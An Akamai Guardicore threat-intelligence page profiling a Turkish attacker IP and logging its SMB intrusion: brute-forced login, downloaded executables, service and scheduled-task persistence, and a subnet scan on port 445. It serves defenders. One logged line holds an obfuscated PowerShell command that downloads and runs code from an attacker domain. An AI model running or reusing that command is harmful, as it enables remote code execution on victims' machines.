Akamai Guardicore Segmentation CTI

Threat Information

Role	Attacker, Scanner
Services Targeted	SMB
Tags	Service Creation Access Suspicious Domain SMB Service Start CMD Port 445 Scan SMB Null Session Login Download File Service Stop Service Configuration SMB Share Connect PowerShell Service Deletion DNS Query Listening Persistency - Logon System File Modification Successful SMB Login Download and Execute Scheduled Task Creation
Associated Attack Servers	o.beahh.com pp.abbny.com 36.37.83.243 36.37.88.167

Basic Information

IP Address	78.187.210.243
Domain	-
ISP	Turk Telekom
Country	Turkey
WHOIS	Created Date	-
	Updated Date	-
	Organization	-

First seen in Akamai Guardicore Segmentation	2020-06-04
Last seen in Akamai Guardicore Segmentation	2021-01-04

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts	Successful SMB Login
The file C:\Windows\mJkkfqWn.exe was downloaded and executed	Download and Execute
c:\windows\system32\services.exe installed and started %systemroot%\mjkkfqwn.exe as a service named PBzL under service group None	Service Start Service Creation
A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times	Successful SMB Login
Service PBzL was stopped	Service Stop
The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 2 times	Download and Execute
The file C:\Windows\temp\svchost.exe was downloaded and executed 9 times	Download and Execute
The file c:\windows\syswow64\wmiex.exe was downloaded and executed 2 times	Download and Execute
System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times	System File Modification
The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths
System file C:\Windows\temp\svchost.exe was modified 4 times	System File Modification
Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times	Listening
c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon	Persistency - Logon
c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None	Service Start Service Creation
The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan
Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com	DNS Query Access Suspicious Domain
PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times
Process netsvcs Service Group started listening on ports: 65531 and 65532	Listening
c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None	Service Start Service Creation
System file c:\windows\syswow64\drivers\svchost.exe was modified	System File Modification
c:\windows\temp\setup-install.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon	Persistency - Logon
Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533	Listening
The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers
The file C:\Windows\Temp\_MEI5722\pywintypes27.dll was downloaded and loaded by c:\windows\temp\svchost.exe	Download and Execute
Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times	Listening
The command line cmd.exe /c c:\windows\SysWOW64\drivers\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Ddrivers
Process c:\windows\syswow64\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net, o.beahh.com and p.abbny.com	DNS Query Access Suspicious Domain
Process NetworkService Service Group attempted to access suspicious domains: oo.beahh.com and p.abbny.com	DNS Query Access Suspicious Domain
The file C:\Windows\Temp\_MEI9482\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe	Download and Execute
The file C:\Windows\Temp\_MEI9482\_ssl.pyd was downloaded and loaded by c:\windows\syswow64\netsh.exe	Download and Execute
The file C:\Windows\Temp\_MEI9482\select.pyd was downloaded and loaded by c:\windows\syswow64\netsh.exe	Download and Execute
The file C:\Windows\Temp\_MEI9482\pywintypes27.dll was downloaded and loaded by c:\windows\syswow64\netsh.exe	Download and Execute
Process c:\windows\syswow64\netsh.exe started listening on ports: 60124
The file C:\Windows\Temp\_MEI27682\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe	Download and Execute
Process c:\windows\system32\wbem\wmiprvse.exe attempted to access suspicious domains: _ldap._tcp.dc._msdcs.SERVER-BACKUP	DNS Query Access Suspicious Domain
Process c:\windows\temp\svchost.exe attempted to access domains: ip.42.pl	DNS Query
Process NetworkService Service Group attempted to access domains: ip.42.pl	DNS Query
Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.10:445, 192.168.0.11:445, 192.168.0.12:445, 192.168.0.13:445, 192.168.0.14:445, 192.168.0.15:445, 192.168.0.16:445, 192.168.0.17:445, 192.168.0.18:445, 192.168.0.19:445, 192.168.0.1:445, 192.168.0.20:445, 192.168.0.21:445, 192.168.0.22:445, 192.168.0.23:445, 192.168.0.24:445, 192.168.0.25:445, 192.168.0.2:445, 192.168.0.3:445, 192.168.0.4:445, 192.168.0.5:445, 192.168.0.6:445, 192.168.0.7:445, 192.168.0.8:445 and 192.168.0.9:445
Process c:\windows\temp\svchost.exe scanned port 445 on 25 IP Addresses	Port 445 Scan
Connection was closed due to user inactivity

Akamai Security Intelligence Group

Guardicore CENTRA

Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

Threat Information

Basic Information

Attack Flow